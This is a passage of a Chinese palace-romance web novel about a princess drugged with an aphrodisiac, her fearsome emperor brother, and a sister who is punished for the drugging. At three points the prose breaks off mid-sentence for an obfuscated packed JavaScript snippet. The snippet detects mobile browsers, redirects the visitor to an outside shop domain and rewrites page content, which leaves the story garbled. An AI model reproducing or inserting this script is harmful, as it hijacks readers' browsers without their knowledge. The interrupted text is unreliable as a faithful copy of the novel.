她松开的瞬间,一只手捏住她下颌。赤贝离了下唇,只留下一道深红的印子。她被迫仰着头,双目对视,她鼻子发酸,“难受。” 不知是否无意,那只冰冷的指腹轻轻摩挲她的下颌,每一下都激起颤栗。 她很清楚自己中了什么药,若非面前的人是自己的亲兄长,她怕是早把人扑倒了。 她殷红的眼尾往下压了压,整个人埋在他颈间,呼吸愈发急促,就在神智临近溃散之际,房门开了。 胡禄端着药快步入屋。他看清屋内情形,手里的托盘微微颤了下,却硬生生稳住了。他飞快将托盘放在矮几上,低头俯身推了出去。 安玥被这么一惊,理智终于占了上风。 曲闻昭目光往外面轻飘飘扫了眼,他缓缓收回手,退后两步。 安玥跌坐在榻上,见皇兄端着药碗过来,一只手哆哆嗦嗦要去接药。可不知是不是无意,皇兄的手似是往回收了收。 她又往前扑了扑,整个人几乎压在曲闻昭身上。可她哪里还顾得了那么多,她觉得自己此刻像色中饿鬼,幸有人伦二字架在头顶,否则她怕是难以保证自己会做出什么惊世骇俗之事。 “别动,我喂你。” 安玥感激涕零,精疲力尽收回手,缩在他身上不动了。她呼吸急促,衣裳被汗水打湿,贴在身上,腰身随着呼吸起伏。 可曲闻昭却极为好耐心般,将药汁吹凉了,一勺一勺喂进安玥口中。 安玥一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691866|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双手死死拽着曲闻昭的衣角,情.欲似潮水拍打,她难受着咽着药汁,每一下都极度折磨。 好在那药见效极快,虽仍是不适,但身上那股难耐得劲总算是褪下去了些,至少能让人忍受。 一番折腾下来,她已是精疲力尽。 “啪嗒。” 药碗被人放在几案上,发出轻撞。却敲打在心尖上似的。安玥彻底清醒,身体还残留的药性被害怕取代。她不知该如何面对,最后只能哆哆嗦嗦闭上眼装死。 他冰凉的指腹压了压她眼尾,“你若不醒,就别醒了。” 安玥眼睫颤了下,听出这是一句威胁,纠结过后,幽幽睁开眼。 她眸光茫然,“唔……皇兄?我怎么在这儿?” 曲闻昭清凌凌的目光在她面上停了瞬,唇角微翘,“看来妹妹是不记得了。” 安玥往边上挪了挪,拉开距离,一手捂住头,这姿势遮住了大半张脸,“头有些疼……” “我瞧瞧。”曲闻昭伸手,指腹轻轻摁在安玥额心。突如其来的冰冷激得安玥往后瑟缩了下,那只手却仍压在她头上,另外四指贴着她的太阳穴。 安玥眼神躲闪慌乱,手心都渗出汗来。 曲闻昭语气似是关切,“还疼吗?” 安玥浑身汗毛竖起,僵着脖子扭了下头。压在头上的那只手收回。 “现在想起来了吗?” 安玥险些哭出来,咬着下唇,小鸡啄米似的点了下头。 她不敢看他,“臣妹非是有意冒犯……实是中了药神志不清。不想皇兄仁善,没把臣妹扔出去,这才……” “我的错?” 安玥一噎,“我的错。” “谁对你下药?” 安玥摇头。 曲闻昭看了眼她这呆傻的样子,“谁邀你过去?” “……何大人。”安玥话落自觉不妥,连连摆手,“不是他。” 空气里传出一声意味不明的笑。 “认识多久,这么相信他?” “何大人是好人。”安玥神色认真,“况且我当时还等了许久。若是是他做的,为何直至我离开,都无人拦我?” “这世上没有无缘无故的善意。你觉得他好,倒不如想想他想从你身上得到些什么。你不只是你自己,亦表皇室所持。记着你的身份。” 那也比你好,人家利用我,至少实实在在帮了我。你是不利用我,是直接要弄死我。 安玥闷声:“知道了。” 她下颌微凉,一只手将她头抬起,安玥被迫同那双眼睛对上。 他漆黑的眼里流出一抹笑,“在想什么?” 安玥头皮一麻,头摇得像拨浪鼓。她摇到一半,脖子僵了瞬,此举岂非此地无银三百两? 她心虚地觑了眼曲闻昭,干巴巴笑了声,“皇兄说的是。”她不敢久留,“皇兄,我可以走了吗?” 曲闻昭不经意垂眸,却见她拽着裙摆,指节都有些泛白。 安玥如蒙大赦,忙从榻上下去。刚起身,裙子被什么压住,她腿脚又软又麻,再度跌回去。安玥臊红着脸扭头,便见半截裙摆被压在皇兄腿下。 她闷着头往回扯了扯,纹丝不动。偏生边上的人跟死人似的,没眼力见的很。 送你要不要啊! 她忍无可忍,一抬头,对上皇兄,气焰登时熄了,语气透着委屈,“裙子……” 24. 第 24 章 曲闻昭松下力道,裙子脱离桎梏,安玥几乎跳离床榻,“多谢皇兄。” 她站定了,规规矩矩行了个礼,好让人挑不出错。曲闻昭却站起身,他走近了,不经意将她被捏皱的裙子抚平。 本是极自然的一个动作,安玥却觉得窘迫极了。她目光不知放在何处,却听皇兄温声:“好了。” 安玥忘了道谢,转身离开。榻边,曲闻昭看她略显狼狈的背影,唇角微扯。 他看向帐深处,被褥被揉作一团,还残有余温。清冷的气息沾了股若隐若现的甜香。一只发钗遗落在枕下。 直至一只手将那只发钗拿起,指腹轻捻玉珠。 安玥出了宁兴宫,已有一顶轿辇在外边侯着。她生怕皇兄命人将自己拖到哪里“处理掉”,一路心惊胆战。 直到一座宫殿出现在灯火深明处。安玥跳下轿辇。她随身未带银两,好在若桃和清栀见着她,打着灯笼过来。清栀从袖中取了个荷包,倒出碎银分给那几个内侍。 若桃上前将安玥上上下下打量了一圈,“公主您可好些了。” 安玥面色窘迫,“没事了。” “究竟是谁……”她这厢话未说完,清栀分完银两,一扭头听见这半句话,忙上前来掐了一把若桃的手臂,将她剩下的话尽数堵在嘴里。 安玥身上出了汗,腿根黏腻,似在提醒着她什么,让人坐立不安。她想沐浴,也道:“回去再说吧。” 等安玥回去,褪了衣裳,方察觉头上少了只钗。她寻了阵也未找到,心下微惊,怕不是落在轿子里了? 这么晚,怕也不能差人去拿回来了。 她草草沐浴完,坐回杌櫈上,清栀从外边进来,“公主,奴婢今夜差人去查,今日只有五公主和何编修到过那。但与公主所上,并非同一艘花船。” 安玥眉心微蹙,“岁康?” “会不会是何编修与五公主串通……” 安玥想了片刻,摇头,她想起什么,“我与何大人有约一事,除了你们几个,还有谁知道?” “应当只有着手此事的几名宫女。可那倒茶的宫女咬死,她路上撞翻了茶水,等到时,只见着何编修一人。茶水是一早就放在那里的。” 这件事到底不光彩,不能搬到明面上来查查,如此难免束手束脚。 清栀话落,见公主拧着眉不说话,小声问:“公主在想什么?” “我到时,茶水是凉的。我当时觉着天热,没想那么多。可仔细想想,那茶水或许已经在那许久了。会不会是我误食了茶水?” 清栀怔了怔:“是有这个可能。” 安玥恨不得一头撞死,她一张脸埋在手心,“出门没看黄历,实在倒霉。” 清栀宽慰道:“陛下若未计较,此事便翻篇了,公主本也不是有意,莫要太担心。” “可谁这么大胆子,会往花船的茶水里下这种药?” 今日荷花宴鱼龙混杂,不乏有京中达官显贵,一早便把花船定好了。船上歌舞升平,有人心猿意马想在上边做些什么,倒也不是没可能。 “尚在查。” 安玥磨牙:“千万别让我抓住他。” 宁兴宫。 房门被叩响,“陛下。” 曲闻昭将手中花钗放下,眉心微蹙,“进来。” 门缝应声开了条缝,胡禄肥胖的身躯挤了进来。 “查清了?” “咱们的人暗中去查,那茶水是一早便在那的。今日五公主曾邀何编修游湖,却非同一艘花船。” 曲闻昭轻轻抬眼:“或许是呢?” “可那上面的字牌……”胡禄心下微惊,“陛下的意思是,有人知道今日十七公主与何编修之事,浑水摸鱼,调换了字牌?” “是与不是,查一查便知道。”他起身,朝殿外走去。 至含彰殿前,身侧响起一声细弱的声音,不如平日那般强势,“皇兄。” 曲闻昭未分出一个眼神,朝殿内走去。岁康忙亦步亦趋跟上。直到走在身前的人停住脚步,他微微侧目,那双眼睛极冷。 将沉闷的夜风冻住。 岁康面色一白,膝盖重重磕在地上。 “皇兄,是岁康错了。岁康不该……” 胡禄跟在曲闻昭身侧,“公主,有什么话进殿再说。” 岁康勉强扯了扯嘴角,“……好。” 与殿外的风不同,踏入殿内的瞬间,空荡的四周萦绕着一股瘆人的凉意。脚下是漆黑的金砖,花枝灯上的数盏烛光投落在地。 似有鬼火在烧。 岁康强压下心底不安。大不了被罚一顿,本也不算什么大事,皇兄总不会要她死。她是公主啊。 想到这里,岁康垂下的头扬起一些。 她至殿前站定,那只玄靴则拾级而上,缓缓绕到桌案后。 她耐着性子在殿上站了许久,可那头的人只是倒茶,批奏,仿佛已全然将她遗忘。半柱香过去,却又好似过了数年,她面上青白交错。哪怕过去父王在世,也断不会这般晾着她。 可如今她有什么办法? 岁康咬了咬牙,思考着要不要闹出点动静,可又祈祷,这般拖着久些,或许上头的人也就不记得这件事了。 终于,毛笔搁在笔山上,“硌”得一声。这声音不大,却在空旷的殿内尤为清晰。岁康脊背不自觉僵直了几分,她抬起头,正撞见一双漆黑的眼睛。 她打了个寒颤,不知是否是习惯使然,她险些跪下,却硬着头皮顶住了,“皇兄。” 怕什么,她没错。 曲闻昭目光在她身上落了瞬,直接收回,他将书页翻开,“五皇妹可知,孤今夜叫你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16701306|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,是为何事?” “臣妹不知。” 曲闻昭笑了笑。殿门推开,内侍端着一壶茶水进来,弯腰放在岁康身前。 岁康只觉得那茶壶眼熟,眼皮子直跳。 “如此,五皇妹可想起来了?” 岁康神色难看,却是抵死不认。药不是她下的,她没有什么好怕的。 她深吸一口气,不顾发疼的膝盖,“臣妹不知皇兄何意。” 曲闻昭轻轻抬了抬眼,内侍会意,弯腰倒了杯茶水递给岁康,“公主,请吧。” 岁康瞳孔一缩,看向曲闻昭的目光里沾上几分难以置信,皇兄分明是故意的! 她压下惊怒。 “皇兄这是何意?” 曲闻昭目光落在书册上,未理会她。 内侍又绵里藏针般催促了声。岁康方僵着脖子将茶水接过。 她盯着那杯茶水,面色半是青半是红。她僵着小臂端了许久,终于忍住俱意抬头,“皇兄,今日之事是岁康不是。还望皇兄宽恕。” 她已失过一次颜面。就连他也知道了这件事,那皇兄知道与否,又有什么关系? 她咬牙:“……臣妹不该在茶水里下药。” 曲闻昭似是不解,倒茶的手微顿:“什么药?” 岁康只觉得这眼神极为熟悉,可她此刻已没有功夫去想通其中关窍,蔻丹几乎要陷入皮肉,极为艰难吐出那两个字:“……媚药。” 她恨不得晕死过去。 “哦?”曲闻昭笑了声,“是给谁的?” 他虽然在笑,可眼睛却是沉沉的,没有半分情绪。她不是傻子,已经看出皇兄在戏弄自己,可即使是戏弄,他的眼神里也没有办分愉悦,似乎只是纯粹想要折磨她。 甚至没有将她当做一个人看待只是在折磨一个无关紧要的阿猫阿狗。 这个念头升起的瞬间,岁康浑身发凉,身后吹进的冷风亦生出獠牙,仿佛随时要撕咬她这身皮肉。 她一刻也不想在这漆黑孤冷的宫中待下去了。她将最后一丝颜面磕进地里,“皇兄,岁康已知错了。此事是岁康举止欠妥。可是臣妹实是心悦何编修,方一时鬼迷心窍。还望皇兄念及臣妹初心不坏,又一片真心的份上,成全了臣妹!” 殿外的宫人听着里头动静,俱低着头,宛如一排排木桩。 曲闻昭默了阵,未置可否,只问了句:“此事,五皇妹可问过何爱卿的意思?” 岁康红着眼眶抬头,倔强道:“皇兄若下旨,他会同意的。” 她不信,他会为了拒绝与她的亲事而抗旨。至少,她是公主啊。 曲闻昭似看出她在想什么,笑了声。他微微侧目,“何编修以为呢?” 此言一出,岁康眼底的情绪彻底僵住。她僵硬地转过头,方见到屏风后缓缓走出一人。 25. 第 25 章 依旧是光风霁月,一尘不染。却对着曲闻昭一拜,“陛下恕罪。” 只四个字,岁康面如死灰。她跌坐在地,夹在眼中的泪水顺着眼眶滑落。她半是哭半是笑,“你不喜欢我?” “你喜欢谁,安玥吗?” 她料到今日之事必然会不胫而走,从此她在这宫里便再也抬不起头。可又如何?她眼底生出几分狠意,“你看不上我,你可知,我那十六皇妹说不好都不是皇室血脉。” 曲闻昭抓着书卷的手微微一蜷,眼神冷冷向下瞥了眼。 明康自知言行不妥,止不住一抖,却终是恨意占了上风:“你莫要看错了人,最后鱼目混珠,你也不过被她哄……” “来人。”曲闻昭缓缓开口:“五公主神智不清,言行失仪,扶公主入宗人府禁足思过。” 宗人府?!若被剥夺权势,那她与那般贱民又有何异? “我不去……皇兄!”岁康从地上爬起,却被身后的内侍架着拖了出去。 她的哭喊声也湮没在夜色中。 何元初垂着眼,从始至终未往外看一眼。 “何爱卿。”曲闻昭将书轻放在案,“先帝一朝实录,自去岁开馆纂修,至今已逾半载。” 何元初拱手:“微臣不敢怠惰。先帝在位前十年史事已初纂成册,正由总纂官逐卷勘校。起居注亦已尽数采录,唯末后三年西北军务奏报尚需与兵部核对细节,预计下月可毕。待核验完毕,便会汇总编纂。” “既如此,便宽限三日。可能完成?” 何元初眸光微垂,“陛下恕罪,若是三日,怕是困难。” 曲闻昭似是笑了声,可眼底并无笑意。“孤以为,何爱卿很闲?” 何元初身形微僵,眼底闪过一抹异样,“微臣知罪。” 曲闻昭未看他,“那便再宽宥半月。” 本月余的量,如今要人在半月内完成。曲闻昭未说后果,便更显得微妙,其中似乎透着敲打之意。然先前已推一回,若是再推脱,便是敷衍塞责,怠惰因循了。 他袖中的手微抬,“微臣必竭力而为。” 曲闻昭眼里含笑,眄视着他,“何大人无意娶亲,是不喜欢我这五皇妹,还是如岁康所说,已心有所属?” “臣惶恐。”何元初俯身跪下,顿首请罪:“二位公主皆是金枝玉叶,容德兼备,是天下男子难求的良配,臣唯有仰望敬重,断无‘不喜’之说。” “那便是愿意?” “微臣渴望报效陛下,只是陛下不知,曾有钦天监观星,监官私语臣‘命格粗鄙带煞’,如此命格恐误公主终身,绝不敢以私念损皇家利益,臣恳请陛下收回成命,臣必一心辅佐陛下,以赎辞婚之罪!” 曲闻昭目光轻轻飘向窗外,“孤只是开个玩笑,何爱卿不必如此。” 暮色四合,暑风轻卷帷幔,清河入梦。 一只柔夷穿过层层纱帐,揽住榻上人的腰。清丽的声音在耳畔响起,“皇兄。” 曲闻昭被热意缠住,回过头,见女子眼尾殷红,对着他笑。她衣服欲褪未褪,露出雪白的肩。旋即,那双藕臂勾住他的脖子,软纱的袖子亦跟着滑了下去,露出手腕上的痣。 他眸光微沉,骨节分明的抚上她的脖颈,感受那一处的柔软温热,脉搏跳动。 女子却不似以往那般畏惧,她似是料定了那只手不会掐死她。轻轻仰头,柔软的唇触到他的唇瓣,细羽拂过般,一触即分。 曲闻昭身形僵了瞬,可只瞬息,他一只手摁住她的脑袋,唇齿相依,纠缠,掠过。 直到身前的人失了力道,瘫软在他怀中,喘.息。曲闻昭再度缓缓伸手,捏住她的脖颈。可这回不似上次那般温和。 他手上力道缓缓收紧,温水煮青蛙般,却毫不留情。 怀中的人感觉到难受,竭力挣扎,一只手仍勾着他袖子,却未换得半分怜惜。 曲闻昭神色淡漠,如同不近人情的鬼魅,“你不是她。” 她愚钝,要面子,逼急了也只是哆哆嗦嗦讨好,却是把所有不服气和害怕写在脸上。 女子眼角滑下泪水,是滚烫的温度。如同一滴水落入古井,扰起波纹。曲闻昭动作微颤了下,收了力道。 她劫后余生,大口大口喘着气。曲闻昭拇指指腹抵着她下巴,迫她抬头。 生了剑茧的指腹轻轻摩挲着她下颌,曲闻昭看着垂落的纱幔,收回手。 “皇兄?”曲闻昭垂眸,见少女眉眼弯弯,“你不喜欢我吗?” 风起云涌,扬起纱幔,与少女的裙摆纠缠在一起。等风停之时,身侧已没有她的身影,唯有一只金钗。 意识归拢,天已蒙蒙亮。依旧是含凉殿。 曲闻名打开匣子,准确无误地将放在里面的那只花钗取出。 他指腹摩挲过上面的缠枝纹。是被那夜扰了心思,还是真的生了不容于世之情。如果生了,又是从何时开始? 可他们是兄妹,是仇人,不是么?不管是何种情绪,也不过是暂时的。他可以由着这份情绪起,亦能随时把它压下去,碾成齑粉。不过为了一时有趣罢了,倒还不足以困扰他。 只是,有些事情,似乎不太公平。 安玥原本就忌惮曲闻昭,自打出了上回的事,她生怕自己神志不清做了些旁的,皇兄秋后算账,接连几日除了请安,要么便不出门,有时实在时运不济遥遥撞上了,她也是趁人没发现,能躲则躲,只有瞧着躲不掉,她怕落人口实,才硬着头皮行礼。 打地突似的。 好在皇兄似是早已忘了那件事,每回只是睨了她几眼,便离开了。 只是安玥觉得头顶那目光让人压力倍生,隐隐要将人搜筋刮骨般,似能穿透一切。 初夏接连下了好几场雨,天气愈发闷热。好在午后那连绵不断的雨终于消停了片刻。趁着那灼人的太阳尚未出来,安玥便拉着清栀和若桃在御花园踢毽球。 三人各占一角,一只花毽被轻轻往空中一抛,下落之时迎上一只绣鞋的鞋面,毽球再度飞起,蓝色的羽在空中划出利落的弧度,又被一只脚接住。 几人踢了几个来回。 若桃气喘吁吁,“公主您踢近些,奴婢接不着啦。” 安玥瞧见二人额头上的汗珠,将花毽在原地踢了几下,“你们要不要歇息会?” 清栀摇摇头:“奴婢不……”她话未说完,若桃强撑着最后一口气,抬手捂住清栀的嘴巴,把人拉走了。 安玥也觉得热,可好不容易等到雨停,再在屋子里待下去,她怕是要发霉了。 她站在原地歇了片刻,将花毽一抛,左右脚来回盘了几下,旋即一个背踢,绣着戏蝶纹的裙摆轻展,花毽亦随着动作跃过头顶,如离弦之箭般向前飞去。 她自知这一下怕是踢太远了,甫一收腿,听到不远处传出“嗳唷”一声,安玥心中生出一丝不祥的预感。 便听那头传来火急火燎一声:“陛下,您没事吧?哪个不长眼的!” 安玥未想会在这儿听到胡禄的声音,面色“唰”得白了,借着假山掩护,她飞快蹲下了身。 她抱着膝头瑟瑟发抖,佯装在数蚂蚁。感觉身后似有脚步声靠近,她觉得心脏都要跳到地上,浑身汗毛倒竖,大气也不敢喘。 雨后闷热的空气将她捂出了一身汗,安玥鬓角的碎发沾了汗水,贴着额,蹭着了眼睛,难受极了,也不敢伸手去理。 不知是否是错觉,身后脚步声似是停了。她后颈发凉,屏住了呼吸,头也不敢回,生怕见着最不想见到的那张脸。 声音离近了:“陛下,不知人躲哪里去了。” “许是躲起来了。”他嗓音清冷,沾了些若有若无的笑意:“罢了。” 安玥听着这一句,双腿一软,险些跪下去。察觉身后脚步离远,安玥后背死死贴着假山,约摸过了一盏茶,她方鼓起勇气往身后探了眼,假山后空空如也,显然是早已没人了。 她强撑着发麻的腿起身,往回走去,路上已调整好情绪。若桃和清栀见公主回来,连忙起身过来。走近了,清栀隐隐察觉公主面色有些不好,问:“公主可是不舒服?” “唔?”安玥朝清栀露出一抹笑摇摇头,“没有没有,就是有点闷。许是是玩累了,咱们回去歇着吧。” 三人走出一段距离,若桃发觉手里少了什么,又看了看公主的手,亦是空空如也。她有些奇怪,“公主,毽球呢?” “唔……”安玥往四周看了眼,“大概是落在哪了。” “那奴婢去寻。” “不用了!”迎着若桃询问的目光,安玥干巴巴笑了笑,“没了再拿一个便是,踢太远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710913|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕是挂墙头寻不回来了。” “诶?可那是公主最喜欢的一个呀,奴婢会爬墙的……” 清栀看了若桃一眼,“算了,再寻新的便是。” 安玥亦点了下头,“嗯。” “好吧。” 安玥回去,方得知岁康被送宗人府禁足的消息。若桃义愤填膺,直道都是报应。安玥面上却无多少波澜,她料到自己应是稀里糊涂喝了岁康下在盏里的药,皇兄因那日之事,迁怒岁康,也是情有可原。只是隐隐觉得有些不安。 为何岁康都倒了霉,偏生自己一点事也没有?她倒宁愿皇兄打自己一顿,或者像先前那样抄了书,也好过像现在这样,倒像是一把刀悬在头顶,愈磨愈利,随时要落下来似的。 等到第二日,安玥在院里摘花。今年的紫薇花开了,紫红的花朵争先绽在枝头。安玥照例挑了朵形态适中的,做成花蜡夹在书里。每一朵下边都标了日辰。多年过去已是厚厚一本。 她甫一将花瓣疏离开,去了枝叶。百无聊赖间,不远处洒扫宫女窃窃私语声传入耳畔,“听说了吗,昨夜陛下在御花园,不知是哪名贪玩的宫女太监在踢毽球,结果砸着陛下了。眼下宫里正在搜查‘凶手’呢。” 花瓣去了叶,不防扯得多了,连带着将花瓣也扯坏了。可安玥浑然未觉般。 “也太倒霉了,可严重么?” “不知,瞧着这么大阵仗,应是有些。那可是九五之尊,便是轻伤也是了不得的。” “那可查到了?” “尚未,不过我估摸着也快了。上头发话,说给那人一日时间,若是主动服罪,可重新发落。可若怀有侥幸,有意逃避罪责,一旦查出,概不轻饶……” “公主……公主?” 安玥脑中嗡鸣,被这一声唤回了神。她察觉指腹黏腻。一低头,手中花瓣显然是被撕坏了,紫红的花汁粘在指缝。 若桃递来帕子,“您怎么了?” 安玥摇摇头,心不在焉擦拭指尖,“没事。” 她回了房,愈想便愈发心惊胆战。那毽球上用的是孔雀羽,是前年,大皇兄送她的生辰礼之一。 孔雀羽稀少,皇兄不会认不出才是。又怎会说是宫女太监之物?还是皇兄已然知道此事系她所为,用这种法子向她施压。 安玥越想越怕。不然寻个法子,试探一番。大不了认个错。 翌日,含彰殿。 案后的人将最后一笔写完,殿外传来声音,“陛下,安玥公主求见。” 他将笔轻搁在笔山上,唇角若有若无扯了下,“让人进来。” 不消片刻,殿外传来微弱的脚步声。安玥换了身黛青色的碧荷襦裙,袖口用珍珠滚了一层边。 迈进门时手里还端着个食盒,乍一瞧步子稳当,不知是否是因为心虚,脑袋欲抬不抬,眼神也有些发飘。 她小心翼翼觑了眼上边的人,他面色淡淡,瞧不出情绪。只是不徐不疾轻轻刮了刮茶水浮沫。手边空荡荡的,应当是忙完公务了。那应当心情还算可以吧? 她轻轻唤了声:“皇兄。” 曲闻昭抬眸睇了这头一眼,显然在等她下文。 安玥调整好笑容,抬起头,“这几日闷热,安玥特地做了莲子汤,特地给皇兄送来。” 曲闻昭将手中杯盏放下,睨着她,那轻飘飘一眼能将人心思捅穿似的。 安玥见人不说话,有些窘迫,她试探:“安玥听闻皇兄前几日被一只毽球砸着了,不知可有受伤?” 曲闻昭好整以暇看着她,有些讶然:“怎么突然问这个?” “就是……关心一下。” “哦?”他眉头轻挑,“倒是罕见。” 安玥露出一抹极明艳的笑来,抓着膳合的指却收紧了,“皇兄上回帮了我,又宽宏大量不与我计较。以前是臣…安玥不懂事,对皇兄心怀芥蒂。如今方知道皇兄是安玥最亲近的人。” 他被取悦了般:“过来。” 安玥梗着脖子看他一眼,拽着那碗莲子汤靠近。她走近了,把莲子汤飞快往桌上一放,站直了身子,朝他露出笑颜。 “站近些。” 安玥面上笑容一僵,钉在原地不敢动。她怕被掐死。 曲闻昭抬眼看她,笑道:“不是要看伤吗?站那么远,怎么看?” 26. 第 26 章 安玥直觉是局,偏生皇兄眉眼还算温和,瞧着不像是要发难的样子,她似被那张脸蛊惑,又提裙往前迈了几步,绣了落花流水纹的裙边一点点扫过白石阶,往上。 她甫一上去便后悔了。这距离实在太近,她的腰腹离书案不过半尺远,甚至能清晰的看见那张玉面。羽睫轻抬,下面是狭长的凤眸,因离得太近,根根分明,鼻梁高挺笔直,再往下是朱红的唇。 若是面前的人骤然发难,她逃都来不及逃。想到这里,安玥身子往后靠了靠,就要后退。不料手腕冰冷袭来,她被大力往前一带,整个人伏在了桌案上,那张脸近在咫尺。 安玥心跳得飞快,尚未平复,面前的人薄唇微启,“看见伤了吗?” 安玥不敢分心,凝神在皇兄面上看了许久,未看出端倪,只好再往下几寸,看向他的脖颈。 脖颈白皙如玉,线条紧绷有力,隐约可见青色的经脉,喉结凸起。 安玥耳根有些发热,慌忙抬起视线,正触上那双含笑的眼,敛在纤长的羽睫下,温润通透。她心跳得快了几分,略显狼狈的错开目光。手腕却仍被皇兄拽在手里。 他又轻轻问了一句:“看清了么?” 安玥未敢看他,摇摇头。 “那是未仔细看?” 安玥垂着头,心扑通直跳,小幅度挣扎了下,可拽在腕上的手却未收力道。她一张脸越来越烫,头愈垂愈低。 她大脑乱成一锅,想竭力着该如何回答,可拽在腕上那只手突然松了力道,只轻轻搭在上面。 不知过了多久,二人体温几乎要融为一体,安玥回过神,连忙把手抽回。 果真美色误人,定然是上回中药中傻了!她只是觉得皇兄好看,断没有旁的心思!她垂着头,深吸一口气,心绪平复了些。 她退后两步,抬起脸,小声:“恕安玥眼拙,没看见。” 曲闻昭缓缓将食盒打开,瞧见里面的莲子汤,琥珀色的汤水,乳白的莲子卧在其中,还放了红枣。 瞧着还成。 “逗妹妹的,没有伤。” 安玥怔了怔,旋即怒目瞪他,眼中情绪甚至忘了遮掩。可甫一触到那双凤眸,她想起自己是来做什么的,气焰登时就消了。 “那皇兄……可抓着人了?” “没有。” “抓着了……要怎么处置?” “妹妹以为呢?” 安玥心中警铃大作,她扯出点笑,“皇兄是九五之尊,若被伤着玉体,那人万死难赎其罪。但想来那人也是无心之失,皇兄也未受伤,若是兴师动众去查,又要重罚,倒有损皇兄仁善之名。” “我已给那人机会,她若主动站出来,此事便罢了。可她若是‘畏罪潜逃’,便说明毫无悔改之心,或者说是故意为之……” “断不可能!”安玥慌忙辩解,迎着曲闻昭询问的目光,她咬了咬下唇,小声道:“皇兄恕罪。安玥前几日在御花园贪玩,不小心将毽球踢远了,不知砸着人,也就没管。不想昨日才得知皇兄被毽球砸到,安玥心里觉得不安,今早才急忙赶来。还望皇兄原谅安玥无心之失,莫要计较。” 安玥话说完,心惊胆战等人发落。可那头的人有意折磨她一般,沉默着不答。 安玥连怎么安排后事都想好了,那头终于出声。 “原来是妹妹。既然是无心之过,便算了。” 安玥提着的心往下一坠,整个人都要给带着倒下去,好在硬是撑住了。 她劫后余生,语气都轻快了几分,“皇兄当真是大人有大量!不愧是当世明君!” 曲闻昭唇角微扯。 安玥见皇兄果真没有计较的意思,大起些胆子,得寸进尺试探了句,“那毽球放在皇兄那想来碍事极了,皇兄可否把那毽球还给安玥?” “为何?” 安玥没敢说那毽球是曲奕送的,当时太极殿上那一幕,她并未忘记。只道:“那只毽球是安玥最喜欢的一只……可以吗?” 曲闻昭将她面上情绪尽收眼底,“可我瞧着,那上面的羽毛已经脏了,便扔了。皇兄再赔你一个,如何?” “扔了?”安玥怔了怔,“扔哪了?” 曲闻昭语气随意,浑不在意,“这怕是得问下人。” 安玥先前便已猜到,这毽球大抵是拿不回来了,但心里依旧有些酸胀。这毽球是大皇兄亲手做的。她那时很喜欢,隔三差五便拿出来用。毽球做得结实极了,也不会散。只是时间久了有些旧。 她至今不知该如何看待这个人。二人在世时,父皇宠爱她,却鲜少陪伴他。多是皇兄陪着她,只是皇兄也愈来愈忙了。或许比起父皇,她与大皇兄要更亲近些。 事到如今,她也分不清对错了。 那二皇兄呢?若是没有他,大皇兄也许就不会死。可他又确确实实是来救驾的。 一切好似成了死局。 曲闻昭目光只轻轻在她面上停了瞬,便看出她兴致不高。这幅神情他之前也见过,在她思念亲人之时。 是姜婉? 那上面的孔雀羽是前年北疆进贡,上面用的金线更是东宫独有。是谁送的,不言而喻。 胡禄不知从何处取了根银针,上前试毒。 安玥眨了眨有些酸涩的眼睛,闷声:“安玥告退。” “站着。” 曲闻昭将汤匙放下。他原本还在想,这汤或许是旁人做的,她端来敷衍他。可汤入口,这般粗恶的味道,简直不堪饮用。除了他这妹妹,世上怕是再难找到第二个人能做出这样的东西来。 安玥脚步僵住,她梳理好情绪,乖顺道:“皇兄可是还有旁的吩咐?” 曲闻昭睇了安玥一眼,“既是感激,妹妹觉得一碗汤便够了吗?” 安玥怔了怔,她今日本就是来试探,并未想到一层。但面前的人虽可恶,总归帮了她。她向来恩怨分明,却想不出自己能做什么,试探:“那安玥以后每日都来送汤?” 曲闻昭抓着银勺的指收紧几分,神色淡漠,“可以。” 安玥眸光微亮,那看来皇兄觉得汤的味道还不错,不枉她战战兢兢忙活了一早上。 她心中大石落地,回去的路上,步子难得轻快了些。 晚间安玥取了勺鸟食,正和咄咄逗趣。咄咄吃饱了,小幅度地扇扇翅膀。 安玥指腹点了点咄咄的脑袋,“怎得没吃两口就饱了?” 若桃站在外边纳凉,玩笑道:“饿几顿便吃了。” 此话一出,便听那鹦哥口吐人言,“傻瓜!” 这扁毛畜生会骂人,脾气还差,主仆二人早已习以为常。只是它这脾气平日里看不出,在先帝手里时,更是安分守己,惯会看人下菜。 清栀在一旁道:“奴婢看这畜生除了公主,谁都骂。一看便知是若桃教坏的。” 平日便只有若桃会 